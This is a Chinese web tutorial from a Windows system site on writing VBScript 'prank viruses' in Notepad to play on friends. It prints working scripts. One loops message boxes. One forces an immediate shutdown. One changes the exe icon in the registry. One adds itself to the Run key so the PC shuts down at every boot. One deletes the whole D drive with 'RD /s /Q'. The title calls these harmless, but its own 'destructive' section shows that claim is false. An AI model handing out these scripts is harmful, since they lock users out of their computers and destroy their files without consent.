怎么制作win8系统恶搞病毒?小趣味对系统没有伤害
时间:2018-10-10
来源:雨林木风系统
作者:佚名
怎么制作win8系统恶搞病毒?小趣味对系统没有伤害?
在平时的生活工作中,大家偶尔会没有聊,因此就想搞点事情出来,或者有人想小报复朋友一下,于是有人就想制作vbs病毒,可是许多人不熟悉windows8如何制作vbs病毒,为此小编赶紧整理了制作vbs病毒教程,希望能借助这些刚兴趣的朋友,注意只是恶搞,不是蓄意报复,而且也不会对对方系统有损害
办法/步骤:
1、首先,点击记事本。

2、写入代码(整人级):
- 01'--------------------------------1-关不掉的窗口--------------------------------do while(1)MsgBox("哈哈,你关不掉我!")loop'--------------------------------------------------------------------------------'-----------------------------------2-写入“我是猪”--------------------------do while(a<>"我是猪")a=inputbox("快在下面的框里写入我是猪")if(a<>"我是猪") thenMsgBox("赶紧承认!!!")end ifloop'--------------------------------------------------------------------------------
复制代码
3、(中等):
- 01'--------------------------------3-直接关机------------------------------------dim wsset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图片------------------------------------Dim operationRegistryset operationRegistry=wscript.Createobject("wscript.shell")operationRegistry.Regwrite "HKCR\exefile\DefaultIcon\","C:\windows\system32\imageres.dll,-2" '这里的C:\windows\system32\imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------
复制代码
4、(破坏级)如果没有法恢复,不要怪我咯*_*:
- 01'------!!注意危险!! 5-开机一完毕就关机(计算机没有法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\software\Microsoft\windows\CurrentVersion\Run\"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"RD /s /Q d:\",0,ture'--------------------------------------------------------------------------------
复制代码
如果代码有故障,没有法实现应有效果,请原谅。(一些vbs破坏性太强,我不敢实验)
5、保存:按下Ctrl+s快捷键,在跳出的窗口中选中文件类型:所有文件(*.*),在文件名处写入文件名,在文件名后面写入“.vbs”或“.vbe”,保存。
注意事项:
这些代码仅用于整人,不可以利用这些代码做违法的事情!
以上就是windows8如何制作vbs病毒的教程了,很简单吧,大家只需要新建记事本,以后粘贴文章的代码,最后保存为.vbs或者.vbe格式的文件便可。
- 01'------!!注意危险!! 5-开机一完毕就关机(计算机没有法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\software\Microsoft\windows\CurrentVersion\Run\"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"RD /s /Q d:\",0,ture'--------------------------------------------------------------------------------
复制代码
- 01'--------------------------------3-直接关机------------------------------------dim wsset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图片------------------------------------Dim operationRegistryset operationRegistry=wscript.Createobject("wscript.shell")operationRegistry.Regwrite "HKCR\exefile\DefaultIcon\","C:\windows\system32\imageres.dll,-2" '这里的C:\windows\system32\imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------
复制代码
相关文章
更多+-
11/04
-
10/13
-
02/11
-
03/09
-
12/21
手游排行榜
- 最新排行
- 最热排行
- 评分最高
-
动作冒险 大小:322.65 MB
-
动作冒险 大小:327.57 MB
-
角色扮演 大小:77.48 MB
-
角色扮演 大小:333 B
-
卡牌策略 大小:260.8 MB
-
模拟经营 大小:60.31 MB
-
模拟经营 大小:1.08 GB
-
角色扮演 大小:173 MB